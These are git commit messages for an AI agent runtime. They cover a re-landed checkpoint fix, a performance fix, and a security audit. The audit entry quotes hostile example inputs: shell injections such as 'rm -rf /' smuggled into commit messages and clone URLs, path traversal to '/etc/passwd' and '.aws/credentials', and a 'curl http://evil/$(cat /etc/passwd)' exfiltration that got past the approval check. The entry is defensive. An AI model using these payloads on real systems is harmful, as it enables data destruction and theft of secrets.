This reverts the revert e1c28c38, re-landing d502d66c.
Forensics on the project 000 incident show the original revert was a
misattribution: the failures observed at 19:00-19:21 ran on a server started
before the fix was committed (19:59), and the 20:27 failure was the separate
company_work_item_plan schema collision (fixed in the previous commit), which
this change never claimed to cover.
Re-landing is also now required by c9018000: the deferred approval-card click
path rewrites the reply to target the parked AWAITING_HUMAN checkpoint and
resumes through _resume_task_checkpoint — without this change that resume hits
the empty-task-list + MULTI_AGENT value-alias bug and returns an empty reply
on company tasks.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-mode review left a pending task_user_input checkpoint behind: the
runtime carried the paused work item forward via approval-card grants and a
fresh review attempt without ever replying through the engine checkpoint. The
orphan row then captured the user's next chat message and resumed through the
deprecated multi-agent path with an empty task list, returning an empty reply.
Invariants added:
- write side: when a task settles (done/failed/cancelled) its pending
task_user_input/task_peer_wait checkpoints are superseded
- read side: checkpoint matching lazily resolves rows whose task settled or
whose linked work item reached a terminal phase (heals existing dirty DBs)
- resume: the primary task is always part of the resumed set; the
MULTI_AGENT/COMPANY_MODE value-alias no longer routes company checkpoints
into _execute_multi_agent (which silently returned "" on empty task lists)
Perf: get_latest_pending_checkpoint_for_session is called per task on every
UI sync tick, and its parent-session resolution loaded and JSON-parsed the
entire tasks table each time (24MB with inline artifact blobs) — a full core
pegged at 100% and the event loop starved so replies never surfaced. Now a
no-live-checkpoints fast path returns immediately, and the resolution uses a
targeted session_id query backed by a new tasks(session_id) index.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>
LZH-YS1998